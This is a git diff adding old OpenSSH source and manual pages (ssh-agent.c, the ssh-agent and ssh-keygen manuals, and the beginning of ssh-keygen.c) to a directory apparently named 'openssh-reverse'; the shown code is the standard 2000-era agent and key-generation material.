+.Pa $HOME/.ssh/identity +file. +If the identity has a passphrase, +.Xr ssh-add 1 +asks for the passphrase (using a small X11 application if running +under X11, or from the terminal if running without X). +It then sends the identity to the agent. +Several identities can be stored in the +agent; the agent can automatically use any of these identities. +.Ic ssh-add -l +displays the identities currently held by the agent. +.Pp +The idea is that the agent is run in the user's local PC, laptop, or +terminal. +Authentication data need not be stored on any other +machine, and authentication passphrases never go over the network. +However, the connection to the agent is forwarded over SSH +remote logins, and the user can thus use the privileges given by the +identities anywhere in the network in a secure way. +.Pp +There are two main ways to get an agent setup: +Either you let the agent +start a new subcommand into which some environment variables are exported, or +you let the agent print the needed shell commands (either +.Xr sh 1 +or +.Xr csh 1 +syntax can be generated) which can be evalled in the calling shell. +Later +.Xr ssh 1 +look at these variables and use them to establish a connection to the agent. +.Pp +A unix-domain socket is created +.Pq Pa /tmp/ssh-XXXXXXXX/agent. , +and the name of this socket is stored in the +.Ev SSH_AUTH_SOCK +environment +variable. +The socket is made accessible only to the current user. +This method is easily abused by root or another instance of the same +user. +.Pp +The +.Ev SSH_AGENT_PID +environment variable holds the agent's PID. +.Pp +The agent exits automatically when the command given on the command +line terminates. +.Sh FILES +.Bl -tag -width Ds +.It Pa $HOME/.ssh/identity +Contains the RSA authentication identity of the user. +This file should not be readable by anyone but the user. +It is possible to +specify a passphrase when generating the key; that passphrase will be +used to encrypt the private part of this file. +This file is not used by +.Nm +but is normally added to the agent using +.Xr ssh-add 1 +at login time. +.It Pa /tmp/ssh-XXXX/agent. , +Unix-domain sockets used to contain the connection to the +authentication agent. +These sockets should only be readable by the owner. +The sockets should get automatically removed when the agent exits. +.El +.Sh AUTHOR +Tatu Ylonen +.Pp +OpenSSH +is a derivative of the original (free) ssh 1.2.12 release, but with bugs +removed and newer features re-added. +Rapidly after the 1.2.12 release, +newer versions bore successively more restrictive licenses. +This version of OpenSSH +.Bl -bullet +.It +has all components of a restrictive nature (i.e., patents) +directly removed from the source code; any licensed or patented components +are chosen from +external libraries. +.It +has been updated to support ssh protocol 1.5. +.It +contains added support for +.Xr kerberos 8 +authentication and ticket passing. +.It +supports one-time password authentication with +.Xr skey 1 . +.El +.Pp +.Sh SEE ALSO +.Xr ssh 1 , +.Xr ssh-add 1 , +.Xr ssh-keygen 1 , +.Xr sshd 8 , diff --git a/other/openssh-reverse/ssh-agent.c b/other/openssh-reverse/ssh-agent.c new file mode 100644 index 0000000..148bcff --- /dev/null +++ b/other/openssh-reverse/ssh-agent.c @@ -0,0 +1,670 @@ +/* $OpenBSD: ssh-agent.c,v 1.31 2000/04/29 18:11:52 markus Exp $ */ + +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Wed Mar 29 03:46:59 1995 ylo + * The authentication agent program. + */ + +#include "includes.h" +RCSID("$OpenBSD: ssh-agent.c,v 1.31 2000/04/29 18:11:52 markus Exp $"); + +#include "ssh.h" +#include "rsa.h" +#include "authfd.h" +#include "buffer.h" +#include "bufaux.h" +#include "xmalloc.h" +#include "packet.h" +#include "getput.h" +#include "mpaux.h" + +#include + +typedef struct { + int fd; + enum { + AUTH_UNUSED, AUTH_SOCKET, AUTH_CONNECTION + } type; + Buffer input; + Buffer output; +} SocketEntry; + +unsigned int sockets_alloc = 0; +SocketEntry *sockets = NULL; + +typedef struct { + RSA *key; + char *comment; +} Identity; + +unsigned int num_identities = 0; +Identity *identities = NULL; + +int max_fd = 0; + +/* pid of shell == parent of agent */ +pid_t parent_pid = -1; + +/* pathname and directory for AUTH_SOCKET */ +char socket_name[1024]; +char socket_dir[1024]; + +#ifdef HAVE___PROGNAME +extern char *__progname; +#else /* HAVE___PROGNAME */ +static const char *__progname = "ssh-agent"; +#endif /* HAVE___PROGNAME */ + +void +process_request_identity(SocketEntry *e) +{ + Buffer msg; + int i; + + buffer_init(&msg); + buffer_put_char(&msg, SSH_AGENT_RSA_IDENTITIES_ANSWER); + buffer_put_int(&msg, num_identities); + for (i = 0; i < num_identities; i++) { + buffer_put_int(&msg, BN_num_bits(identities[i].key->n)); + buffer_put_bignum(&msg, identities[i].key->e); + buffer_put_bignum(&msg, identities[i].key->n); + buffer_put_string(&msg, identities[i].comment, + strlen(identities[i].comment)); + } + buffer_put_int(&e->output, buffer_len(&msg)); + buffer_append(&e->output, buffer_ptr(&msg), buffer_len(&msg)); + buffer_free(&msg); +} + +void +process_authentication_challenge(SocketEntry *e) +{ + int i, pub_bits, len; + BIGNUM *pub_e, *pub_n, *challenge; + Buffer msg; + MD5_CTX md; + unsigned char buf[32], mdbuf[16], session_id[16]; + unsigned int response_type; + + buffer_init(&msg); + pub_e = BN_new(); + pub_n = BN_new(); + challenge = BN_new(); + pub_bits = buffer_get_int(&e->input); + buffer_get_bignum(&e->input, pub_e); + buffer_get_bignum(&e->input, pub_n); + buffer_get_bignum(&e->input, challenge); + if (buffer_len(&e->input) == 0) { + /* Compatibility code for old servers. */ + memset(session_id, 0, 16); + response_type = 0; + } else { + /* New code. */ + buffer_get(&e->input, (char *) session_id, 16); + response_type = buffer_get_int(&e->input); + } + for (i = 0; i < num_identities; i++) + if (pub_bits == BN_num_bits(identities[i].key->n) && + BN_cmp(pub_e, identities[i].key->e) == 0 && + BN_cmp(pub_n, identities[i].key->n) == 0) { + /* Decrypt the challenge using the private key. */ + rsa_private_decrypt(challenge, challenge, identities[i].key); + + /* Compute the desired response. */ + switch (response_type) { + case 0:/* As of protocol 1.0 */ + /* This response type is no longer supported. */ + log("Compatibility with ssh protocol 1.0 no longer supported."); + buffer_put_char(&msg, SSH_AGENT_FAILURE); + goto send; + + case 1:/* As of protocol 1.1 */ + /* The response is MD5 of decrypted challenge plus session id. */ + len = BN_num_bytes(challenge); + + if (len <= 0 || len > 32) { + fatal("process_authentication_challenge: " + "bad challenge length %d", len); + } + memset(buf, 0, 32); + BN_bn2bin(challenge, buf + 32 - len); + MD5_Init(&md); + MD5_Update(&md, buf, 32); + MD5_Update(&md, session_id, 16); + MD5_Final(mdbuf, &md); + break; + + default: + fatal("process_authentication_challenge: bad response_type %d", + response_type); + break; + } + + /* Send the response. */ + buffer_put_char(&msg, SSH_AGENT_RSA_RESPONSE); + for (i = 0; i < 16; i++) + buffer_put_char(&msg, mdbuf[i]); + + goto send; + } + /* Unknown identity. Send failure. */ + buffer_put_char(&msg, SSH_AGENT_FAILURE); +send: + buffer_put_int(&e->output, buffer_len(&msg)); + buffer_append(&e->output, buffer_ptr(&msg), + buffer_len(&msg)); + buffer_free(&msg); + BN_clear_free(pub_e); + BN_clear_free(pub_n); + BN_clear_free(challenge); +} + +void +process_remove_identity(SocketEntry *e) +{ + unsigned int bits; + unsigned int i; + BIGNUM *dummy, *n; + + dummy = BN_new(); + n = BN_new(); + + /* Get the key from the packet. */ + bits = buffer_get_int(&e->input); + buffer_get_bignum(&e->input, dummy); + buffer_get_bignum(&e->input, n); + + if (bits != BN_num_bits(n)) + log("Warning: identity keysize mismatch: actual %d, announced %d", + BN_num_bits(n), bits); + + /* Check if we have the key. */ + for (i = 0; i < num_identities; i++) + if (BN_cmp(identities[i].key->n, n) == 0) { + /* + * We have this key. Free the old key. Since we + * don\'t want to leave empty slots in the middle of + * the array, we actually free the key there and copy + * data from the last entry. + */ + RSA_free(identities[i].key); + xfree(identities[i].comment); + if (i < num_identities - 1) + identities[i] = identities[num_identities - 1]; + num_identities--; + BN_clear_free(dummy); + BN_clear_free(n); + + /* Send success. */ + buffer_put_int(&e->output, 1); + buffer_put_char(&e->output, SSH_AGENT_SUCCESS); + return; + } + /* We did not have the key. */ + BN_clear(dummy); + BN_clear(n); + + /* Send failure. */ + buffer_put_int(&e->output, 1); + buffer_put_char(&e->output, SSH_AGENT_FAILURE); +} + +/* + * Removes all identities from the agent. + */ +void +process_remove_all_identities(SocketEntry *e) +{ + unsigned int i; + + /* Loop over all identities and clear the keys. */ + for (i = 0; i < num_identities; i++) { + RSA_free(identities[i].key); + xfree(identities[i].comment); + } + + /* Mark that there are no identities. */ + num_identities = 0; + + /* Send success. */ + buffer_put_int(&e->output, 1); + buffer_put_char(&e->output, SSH_AGENT_SUCCESS); + return; +} + +/* + * Adds an identity to the agent. + */ +void +process_add_identity(SocketEntry *e) +{ + RSA *k; + int i; + BIGNUM *aux; + BN_CTX *ctx; + + if (num_identities == 0) + identities = xmalloc(sizeof(Identity)); + else + identities = xrealloc(identities, (num_identities + 1) * sizeof(Identity)); + + identities[num_identities].key = RSA_new(); + k = identities[num_identities].key; + buffer_get_int(&e->input); /* bits */ + k->n = BN_new(); + buffer_get_bignum(&e->input, k->n); + k->e = BN_new(); + buffer_get_bignum(&e->input, k->e); + k->d = BN_new(); + buffer_get_bignum(&e->input, k->d); + k->iqmp = BN_new(); + buffer_get_bignum(&e->input, k->iqmp); + /* SSH and SSL have p and q swapped */ + k->q = BN_new(); + buffer_get_bignum(&e->input, k->q); /* p */ + k->p = BN_new(); + buffer_get_bignum(&e->input, k->p); /* q */ + + /* Generate additional parameters */ + aux = BN_new(); + ctx = BN_CTX_new(); + + BN_sub(aux, k->q, BN_value_one()); + k->dmq1 = BN_new(); + BN_mod(k->dmq1, k->d, aux, ctx); + + BN_sub(aux, k->p, BN_value_one()); + k->dmp1 = BN_new(); + BN_mod(k->dmp1, k->d, aux, ctx); + + BN_clear_free(aux); + BN_CTX_free(ctx); + + identities[num_identities].comment = buffer_get_string(&e->input, NULL); + + /* Check if we already have the key. */ + for (i = 0; i < num_identities; i++) + if (BN_cmp(identities[i].key->n, k->n) == 0) { + /* + * We already have this key. Clear and free the new + * data and return success. + */ + RSA_free(k); + xfree(identities[num_identities].comment); + + /* Send success. */ + buffer_put_int(&e->output, 1); + buffer_put_char(&e->output, SSH_AGENT_SUCCESS); + return; + } + /* Increment the number of identities. */ + num_identities++; + + /* Send a success message. */ + buffer_put_int(&e->output, 1); + buffer_put_char(&e->output, SSH_AGENT_SUCCESS); +} + +void +process_message(SocketEntry *e) +{ + unsigned int msg_len; + unsigned int type; + unsigned char *cp; + if (buffer_len(&e->input) < 5) + return; /* Incomplete message. */ + cp = (unsigned char *) buffer_ptr(&e->input); + msg_len = GET_32BIT(cp); + if (msg_len > 256 * 1024) { + shutdown(e->fd, SHUT_RDWR); + close(e->fd); + e->type = AUTH_UNUSED; + return; + } + if (buffer_len(&e->input) < msg_len + 4) + return; + buffer_consume(&e->input, 4); + type = buffer_get_char(&e->input); + + switch (type) { + case SSH_AGENTC_REQUEST_RSA_IDENTITIES: + process_request_identity(e); + break; + case SSH_AGENTC_RSA_CHALLENGE: + process_authentication_challenge(e); + break; + case SSH_AGENTC_ADD_RSA_IDENTITY: + process_add_identity(e); + break; + case SSH_AGENTC_REMOVE_RSA_IDENTITY: + process_remove_identity(e); + break; + case SSH_AGENTC_REMOVE_ALL_RSA_IDENTITIES: + process_remove_all_identities(e); + break; + default: + /* Unknown message. Respond with failure. */ + error("Unknown message %d", type); + buffer_clear(&e->input); + buffer_put_int(&e->output, 1); + buffer_put_char(&e->output, SSH_AGENT_FAILURE); + break; + } +} + +void +new_socket(int type, int fd) +{ + unsigned int i, old_alloc; + if (fcntl(fd, F_SETFL, O_NONBLOCK) < 0) + error("fcntl O_NONBLOCK: %s", strerror(errno)); + + if (fd > max_fd) + max_fd = fd; + + for (i = 0; i < sockets_alloc; i++) + if (sockets[i].type == AUTH_UNUSED) { + sockets[i].fd = fd; + sockets[i].type = type; + buffer_init(&sockets[i].input); + buffer_init(&sockets[i].output); + return; + } + old_alloc = sockets_alloc; + sockets_alloc += 10; + if (sockets) + sockets = xrealloc(sockets, sockets_alloc * sizeof(sockets[0])); + else + sockets = xmalloc(sockets_alloc * sizeof(sockets[0])); + for (i = old_alloc; i < sockets_alloc; i++) + sockets[i].type = AUTH_UNUSED; + sockets[old_alloc].type = type; + sockets[old_alloc].fd = fd; + buffer_init(&sockets[old_alloc].input); + buffer_init(&sockets[old_alloc].output); +} + +void +prepare_select(fd_set *readset, fd_set *writeset) +{ + unsigned int i; + for (i = 0; i < sockets_alloc; i++) + switch (sockets[i].type) { + case AUTH_SOCKET: + case AUTH_CONNECTION: + FD_SET(sockets[i].fd, readset); + if (buffer_len(&sockets[i].output) > 0) + FD_SET(sockets[i].fd, writeset); + break; + case AUTH_UNUSED: + break; + default: + fatal("Unknown socket type %d", sockets[i].type); + break; + } +} + +void +after_select(fd_set *readset, fd_set *writeset) +{ + unsigned int i; + int len, sock; + socklen_t slen; + char buf[1024]; + struct sockaddr_un sunaddr; + + for (i = 0; i < sockets_alloc; i++) + switch (sockets[i].type) { + case AUTH_UNUSED: + break; + case AUTH_SOCKET: + if (FD_ISSET(sockets[i].fd, readset)) { + slen = sizeof(sunaddr); + sock = accept(sockets[i].fd, (struct sockaddr *) & sunaddr, &slen); + if (sock < 0) { + perror("accept from AUTH_SOCKET"); + break; + } + new_socket(AUTH_CONNECTION, sock); + } + break; + case AUTH_CONNECTION: + if (buffer_len(&sockets[i].output) > 0 && + FD_ISSET(sockets[i].fd, writeset)) { + len = write(sockets[i].fd, buffer_ptr(&sockets[i].output), + buffer_len(&sockets[i].output)); + if (len <= 0) { + shutdown(sockets[i].fd, SHUT_RDWR); + close(sockets[i].fd); + sockets[i].type = AUTH_UNUSED; + buffer_free(&sockets[i].input); + buffer_free(&sockets[i].output); + break; + } + buffer_consume(&sockets[i].output, len); + } + if (FD_ISSET(sockets[i].fd, readset)) { + len = read(sockets[i].fd, buf, sizeof(buf)); + if (len <= 0) { + shutdown(sockets[i].fd, SHUT_RDWR); + close(sockets[i].fd); + sockets[i].type = AUTH_UNUSED; + buffer_free(&sockets[i].input); + buffer_free(&sockets[i].output); + break; + } + buffer_append(&sockets[i].input, buf, len); + process_message(&sockets[i]); + } + break; + default: + fatal("Unknown type %d", sockets[i].type); + } +} + +void +check_parent_exists(int sig) +{ + if (parent_pid != -1 && kill(parent_pid, 0) < 0) { + /* printf("Parent has died - Authentication agent exiting.\n"); */ + exit(1); + } + signal(SIGALRM, check_parent_exists); + alarm(10); +} + +void +cleanup_socket(void) +{ + remove(socket_name); + rmdir(socket_dir); +} + +void +cleanup_exit(int i) +{ + cleanup_socket(); + exit(i); +} + +void +usage() +{ + fprintf(stderr, "ssh-agent version %s\n", SSH_VERSION); + fprintf(stderr, "Usage: %s [-c | -s] [-k] [command {args...]]\n", + __progname); + exit(1); +} + +int +main(int ac, char **av) +{ + fd_set readset, writeset; + int sock, c_flag = 0, k_flag = 0, s_flag = 0, ch; + struct sockaddr_un sunaddr; + pid_t pid; + char *shell, *format, *pidstr, pidstrbuf[1 + 3 * sizeof pid]; + extern int optind; + + init_rng(); + + /* check if RSA support exists */ + if (rsa_alive() == 0) { + fprintf(stderr, + "%s: no RSA support in libssl and libcrypto. See ssl(8).\n", + __progname); + exit(1); + } +#ifdef __GNU_LIBRARY__ + while ((ch = getopt(ac, av, "+cks")) != -1) { +#else /* __GNU_LIBRARY__ */ + while ((ch = getopt(ac, av, "cks")) != -1) { +#endif /* __GNU_LIBRARY__ */ + switch (ch) { + case 'c': + if (s_flag) + usage(); + c_flag++; + break; + case 'k': + k_flag++; + break; + case 's': + if (c_flag) + usage(); + s_flag++; + break; + default: + usage(); + } + } + ac -= optind; + av += optind; + + if (ac > 0 && (c_flag || k_flag || s_flag)) + usage(); + + if (ac == 0 && !c_flag && !k_flag && !s_flag) { + shell = getenv("SHELL"); + if (shell != NULL && strncmp(shell + strlen(shell) - 3, "csh", 3) == 0) + c_flag = 1; + } + if (k_flag) { + pidstr = getenv(SSH_AGENTPID_ENV_NAME); + if (pidstr == NULL) { + fprintf(stderr, "%s not set, cannot kill agent\n", + SSH_AGENTPID_ENV_NAME); + exit(1); + } + pid = atoi(pidstr); + if (pid < 1) { /* XXX PID_MAX check too */ + /* Yes, PID_MAX check please */ + fprintf(stderr, "%s=\"%s\", which is not a good PID\n", + SSH_AGENTPID_ENV_NAME, pidstr); + exit(1); + } + if (kill(pid, SIGTERM) == -1) { + perror("kill"); + exit(1); + } + format = c_flag ? "unsetenv %s;\n" : "unset %s;\n"; + printf(format, SSH_AUTHSOCKET_ENV_NAME); + printf(format, SSH_AGENTPID_ENV_NAME); + printf("echo Agent pid %d killed;\n", pid); + exit(0); + } + parent_pid = getpid(); + + /* Create private directory for agent socket */ + strlcpy(socket_dir, "/tmp/ssh-XXXXXXXX", sizeof socket_dir); + if (mkdtemp(socket_dir) == NULL) { + perror("mkdtemp: private socket dir"); + exit(1); + } + snprintf(socket_name, sizeof socket_name, "%s/agent.%d", socket_dir, + parent_pid); + + /* + * Create socket early so it will exist before command gets run from + * the parent. + */ + sock = socket(AF_UNIX, SOCK_STREAM, 0); + if (sock < 0) { + perror("socket"); + cleanup_exit(1); + } + memset(&sunaddr, 0, sizeof(sunaddr)); + sunaddr.sun_family = AF_UNIX; + strlcpy(sunaddr.sun_path, socket_name, sizeof(sunaddr.sun_path)); + if (bind(sock, (struct sockaddr *) & sunaddr, sizeof(sunaddr)) < 0) { + perror("bind"); + cleanup_exit(1); + } + if (listen(sock, 5) < 0) { + perror("listen"); + cleanup_exit(1); + } + /* + * Fork, and have the parent execute the command, if any, or present + * the socket data. The child continues as the authentication agent. + */ + pid = fork(); + if (pid == -1) { + perror("fork"); + exit(1); + } + if (pid != 0) { /* Parent - execute the given command. */ + close(sock); + snprintf(pidstrbuf, sizeof pidstrbuf, "%d", pid); + if (ac == 0) { + format = c_flag ? "setenv %s %s;\n" : "%s=%s; export %s;\n"; + printf(format, SSH_AUTHSOCKET_ENV_NAME, socket_name, + SSH_AUTHSOCKET_ENV_NAME); + printf(format, SSH_AGENTPID_ENV_NAME, pidstrbuf, + SSH_AGENTPID_ENV_NAME); + printf("echo Agent pid %d;\n", pid); + exit(0); + } + setenv(SSH_AUTHSOCKET_ENV_NAME, socket_name, 1); + setenv(SSH_AGENTPID_ENV_NAME, pidstrbuf, 1); + execvp(av[0], av); + perror(av[0]); + exit(1); + } + close(0); + close(1); + close(2); + + if (setsid() == -1) { + perror("setsid"); + cleanup_exit(1); + } + if (atexit(cleanup_socket) < 0) { + perror("atexit"); + cleanup_exit(1); + } + new_socket(AUTH_SOCKET, sock); + if (ac > 0) { + signal(SIGALRM, check_parent_exists); + alarm(10); + } + signal(SIGINT, SIG_IGN); + signal(SIGPIPE, SIG_IGN); + signal(SIGHUP, cleanup_exit); + signal(SIGTERM, cleanup_exit); + while (1) { + FD_ZERO(&readset); + FD_ZERO(&writeset); + prepare_select(&readset, &writeset); + if (select(max_fd + 1, &readset, &writeset, NULL, NULL) < 0) { + if (errno == EINTR) + continue; + exit(1); + } + after_select(&readset, &writeset); + } + /* NOTREACHED */ +} diff --git a/other/openssh-reverse/ssh-keygen.0 b/other/openssh-reverse/ssh-keygen.0 new file mode 100644 index 0000000..deec172 --- /dev/null +++ b/other/openssh-reverse/ssh-keygen.0 @@ -0,0 +1,152 @@ + +SSH-KEYGEN(1) System Reference Manual SSH-KEYGEN(1) + +NAME + ssh-keygen - authentication key generation + +SYNOPSIS + ssh-keygen [-dq] [-b bits] [-N new_passphrase] [-C comment] [-f keyfile] + ssh-keygen -p [-P old_passphrase] [-N new_passphrase] [-f keyfile] + ssh-keygen -x [-f keyfile] + ssh-keygen -X [-f keyfile] + ssh-keygen -y [-f keyfile] + ssh-keygen -c [-P passphrase] [-C comment] [-f keyfile] + ssh-keygen -l [-f keyfile] + ssh-keygen -R + +DESCRIPTION + ssh-keygen generates and manages authentication keys for ssh(1). ssh- + keygen defaults to generating an RSA key for use by protocols 1.3 and + 1.5; specifying the -d flag will create a DSA key instead for use by pro- + tocol 2.0. + + Normally each user wishing to use SSH with RSA or DSA authentication runs + this once to create the authentication key in $HOME/.ssh/identity or + $HOME/.ssh/id_dsa. Additionally, the system administrator may use this to + generate host keys, as seen in /etc/rc. + + Normally this program generates the key and asks for a file in which to + store the private key. The public key is stored in a file with the same + name but ``.pub'' appended. The program also asks for a passphrase. The + passphrase may be empty to indicate no passphrase (host keys must have + empty passphrase), or it may be a string of arbitrary length. Good + passphrases are 10-30 characters long and are not simple sentences or + otherwise easily guessable (English prose has only 1-2 bits of entropy + per word, and provides very bad passphrases). The passphrase can be + changed later by using the -p option. + + There is no way to recover a lost passphrase. If the passphrase is lost + or forgotten, you will have to generate a new key and copy the corre- + sponding public key to other machines. + + For RSA, there is also a comment field in the key file that is only for + convenience to the user to help identify the key. The comment can tell + what the key is for, or whatever is useful. The comment is initialized + to ``user@host'' when the key is created, but can be changed using the -c + option. + + After a key is generated, instructions below detail where the keys should + be placed to be activated. + + The options are as follows: + + -b bits + Specifies the number of bits in the key to create. Minimum is + 512 bits. Generally 1024 bits is considered sufficient, and key + sizes above that no longer improve security but make things slow- + er. The default is 1024 bits. + + -c Requests changing the comment in the private and public key + files. The program will prompt for the file containing the pri- + vate keys, for passphrase if the key has one, and for the new + comment. + + + + -f Specifies the filename of the key file. + + -l Show fingerprint of specified private or public key file. + + -p Requests changing the passphrase of a private key file instead of + creating a new private key. The program will prompt for the file + containing the private key, for the old passphrase, and twice for + the new passphrase. + + -q Silence ssh-keygen. Used by /etc/rc when creating a new key. + + -C comment + Provides the new comment. + + -N new_passphrase + Provides the new passphrase. + + -P passphrase + Provides the (old) passphrase. + + -R If RSA support is functional, immediately exits with code 0. If + RSA support is not functional, exits with code 1. This flag will + be removed once the RSA patent expires. + + -x This option will read a private OpenSSH DSA format file and print + a SSH2-compatible public key to stdout. + + -X This option will read a SSH2-compatible public key file and print + an OpenSSH DSA compatible public key to stdout. + + -y This option will read a private OpenSSH DSA format file and print + an OpenSSH DSA public key to stdout. + +FILES + $HOME/.ssh/identity + Contains the RSA authentication identity of the user. This file + should not be readable by anyone but the user. It is possible to + specify a passphrase when generating the key; that passphrase + will be used to encrypt the private part of this file using 3DES. + This file is not automatically accessed by ssh-keygen but it is + offered as the default file for the private key. sshd(8) will + read this file when a login attempt is made. + + $HOME/.ssh/identity.pub + Contains the public key for authentication. The contents of this + file should be added to $HOME/.ssh/authorized_keys on all ma- + chines where you wish to log in using RSA authentication. There + is no need to keep the contents of this file secret. + + $HOME/.ssh/id_dsa + Contains the DSA authentication identity of the user. This file + should not be readable by anyone but the user. It is possible to + specify a passphrase when generating the key; that passphrase + will be used to encrypt the private part of this file using 3DES. + This file is not automatically accessed by ssh-keygen but it is + offered as the default file for the private key. sshd(8) will + read this file when a login attempt is made. + + $HOME/.ssh/id_dsa.pub + Contains the public key for authentication. The contents of this + file should be added to $HOME/.ssh/authorized_keys2 on all ma- + chines where you wish to log in using DSA authentication. There + is no need to keep the contents of this file secret. + +AUTHOR + Tatu Ylonen + + OpenSSH is a derivative of the original (free) ssh 1.2.12 release, but + with bugs removed and newer features re-added. Rapidly after the 1.2.12 + release, newer versions bore successively more restrictive licenses. + This version of OpenSSH + + o has all components of a restrictive nature (i.e., patents) directly + removed from the source code; any licensed or patented components are + chosen from external libraries. + + o has been updated to support ssh protocol 1.5. + + o contains added support for kerberos(8) authentication and ticket + passing. + + o supports one-time password authentication with skey(1). + +SEE ALSO + ssh(1), ssh-add(1), ssh-agent(1), sshd(8), + +BSD Experimental September 25, 1999 3 diff --git a/other/openssh-reverse/ssh-keygen.1 b/other/openssh-reverse/ssh-keygen.1 new file mode 100644 index 0000000..ce6626a --- /dev/null +++ b/other/openssh-reverse/ssh-keygen.1 @@ -0,0 +1,221 @@ +.\" -*- nroff -*- +.\" +.\" ssh-keygen.1 +.\" +.\" Author: Tatu Ylonen +.\" +.\" Copyright (c) 1995 Tatu Ylonen , Espoo, Finland +.\" All rights reserved +.\" +.\" Created: Sat Apr 22 23:55:14 1995 ylo +.\" +.\" $Id: ssh-keygen.1,v 1.19 2000/07/06 04:06:56 aaron Exp $ +.\" +.Dd September 25, 1999 +.Dt SSH-KEYGEN 1 +.Os +.Sh NAME +.Nm ssh-keygen +.Nd authentication key generation +.Sh SYNOPSIS +.Nm ssh-keygen +.Op Fl dq +.Op Fl b Ar bits +.Op Fl N Ar new_passphrase +.Op Fl C Ar comment +.Op Fl f Ar keyfile +.Nm ssh-keygen +.Fl p +.Op Fl P Ar old_passphrase +.Op Fl N Ar new_passphrase +.Op Fl f Ar keyfile +.Nm ssh-keygen +.Fl x +.Op Fl f Ar keyfile +.Nm ssh-keygen +.Fl X +.Op Fl f Ar keyfile +.Nm ssh-keygen +.Fl y +.Op Fl f Ar keyfile +.Nm ssh-keygen +.Fl c +.Op Fl P Ar passphrase +.Op Fl C Ar comment +.Op Fl f Ar keyfile +.Nm ssh-keygen +.Fl l +.Op Fl f Ar keyfile +.Nm ssh-keygen +.Fl R +.Sh DESCRIPTION +.Nm +generates and manages authentication keys for +.Xr ssh 1 . +.Nm +defaults to generating an RSA key for use by protocols 1.3 and 1.5; +specifying the +.Fl d +flag will create a DSA key instead for use by protocol 2.0. +.Pp +Normally each user wishing to use SSH +with RSA or DSA authentication runs this once to create the authentication +key in +.Pa $HOME/.ssh/identity +or +.Pa $HOME/.ssh/id_dsa . +Additionally, the system administrator may use this to generate host keys, +as seen in +.Pa /etc/rc . +.Pp +Normally this program generates the key and asks for a file in which +to store the private key. +The public key is stored in a file with the same name but +.Dq .pub +appended. +The program also asks for a passphrase. +The passphrase may be empty to indicate no passphrase +(host keys must have empty passphrase), or it may be a string of +arbitrary length. +Good passphrases are 10-30 characters long and are +not simple sentences or otherwise easily guessable (English +prose has only 1-2 bits of entropy per word, and provides very bad +passphrases). +The passphrase can be changed later by using the +.Fl p +option. +.Pp +There is no way to recover a lost passphrase. +If the passphrase is +lost or forgotten, you will have to generate a new key and copy the +corresponding public key to other machines. +.Pp +For RSA, there is also a comment field in the key file that is only for +convenience to the user to help identify the key. +The comment can tell what the key is for, or whatever is useful. +The comment is initialized to +.Dq user@host +when the key is created, but can be changed using the +.Fl c +option. +.Pp +After a key is generated, instructions below detail where the keys +should be placed to be activated. +.Pp +The options are as follows: +.Bl -tag -width Ds +.It Fl b Ar bits +Specifies the number of bits in the key to create. +Minimum is 512 bits. +Generally 1024 bits is considered sufficient, and key sizes +above that no longer improve security but make things slower. +The default is 1024 bits. +.It Fl c +Requests changing the comment in the private and public key files. +The program will prompt for the file containing the private keys, for +passphrase if the key has one, and for the new comment. +.It Fl f +Specifies the filename of the key file. +.It Fl l +Show fingerprint of specified private or public key file. +.It Fl p +Requests changing the passphrase of a private key file instead of +creating a new private key. +The program will prompt for the file +containing the private key, for the old passphrase, and twice for the +new passphrase. +.It Fl q +Silence +.Nm ssh-keygen . +Used by +.Pa /etc/rc +when creating a new key. +.It Fl C Ar comment +Provides the new comment. +.It Fl N Ar new_passphrase +Provides the new passphrase. +.It Fl P Ar passphrase +Provides the (old) passphrase. +.It Fl R +If RSA support is functional, immediately exits with code 0. If RSA +support is not functional, exits with code 1. This flag will be +removed once the RSA patent expires. +.It Fl x +This option will read a private +OpenSSH DSA format file and print a SSH2-compatible public key to stdout. +.It Fl X +This option will read a +SSH2-compatible public key file and print an OpenSSH DSA compatible public key to stdout. +.It Fl y +This option will read a private +OpenSSH DSA format file and print an OpenSSH DSA public key to stdout. +.El +.Sh FILES +.Bl -tag -width Ds +.It Pa $HOME/.ssh/identity +Contains the RSA authentication identity of the user. +This file should not be readable by anyone but the user. +It is possible to +specify a passphrase when generating the key; that passphrase will be +used to encrypt the private part of this file using 3DES. +This file is not automatically accessed by +.Nm +but it is offered as the default file for the private key. +.Xr sshd 8 +will read this file when a login attempt is made. +.It Pa $HOME/.ssh/identity.pub +Contains the public key for authentication. +The contents of this file should be added to +.Pa $HOME/.ssh/authorized_keys +on all machines +where you wish to log in using RSA authentication. +There is no need to keep the contents of this file secret. +.It Pa $HOME/.ssh/id_dsa +Contains the DSA authentication identity of the user. +This file should not be readable by anyone but the user. +It is possible to +specify a passphrase when generating the key; that passphrase will be +used to encrypt the private part of this file using 3DES. +This file is not automatically accessed by +.Nm +but it is offered as the default file for the private key. +.Xr sshd 8 +will read this file when a login attempt is made. +.It Pa $HOME/.ssh/id_dsa.pub +Contains the public key for authentication. +The contents of this file should be added to +.Pa $HOME/.ssh/authorized_keys2 +on all machines +where you wish to log in using DSA authentication. +There is no need to keep the contents of this file secret. +.El +.Sh AUTHOR +Tatu Ylonen +.Pp +OpenSSH +is a derivative of the original (free) ssh 1.2.12 release, but with bugs +removed and newer features re-added. +Rapidly after the 1.2.12 release, +newer versions bore successively more restrictive licenses. +This version of OpenSSH +.Bl -bullet +.It +has all components of a restrictive nature (i.e., patents) +directly removed from the source code; any licensed or patented components +are chosen from +external libraries. +.It +has been updated to support ssh protocol 1.5. +.It +contains added support for +.Xr kerberos 8 +authentication and ticket passing. +.It +supports one-time password authentication with +.Xr skey 1 . +.El +.Sh SEE ALSO +.Xr ssh 1 , +.Xr ssh-add 1 , +.Xr ssh-agent 1 , +.Xr sshd 8 , diff --git a/other/openssh-reverse/ssh-keygen.c b/other/openssh-reverse/ssh-keygen.c new file mode 100644 index 0000000..8a03f0d --- /dev/null +++ b/other/openssh-reverse/ssh-keygen.c @@ -0,0 +1,751 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1994 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Mon Mar 27 02:26:40 1995 ylo + * Identity and host key generation and maintenance. + */ + +#include "includes.h" +RCSID("$OpenBSD: ssh-keygen.c,v 1.29 2000/07/15 04:01:37 djm Exp $"); + +#include +#include +#include +#include + +#include "ssh.h" +#include "xmalloc.h" +#include "fingerprint.h" +#include "key.h" +#include "rsa.h" +#include "dsa.h" +#include "authfile.h" +#include "uuencode.h" + +/* Number of bits in the RSA/DSA key. This value can be changed on the command line. */ +int bits = 1024; + +/* + * Flag indicating that we just want to change the passphrase. This can be + * set on the command 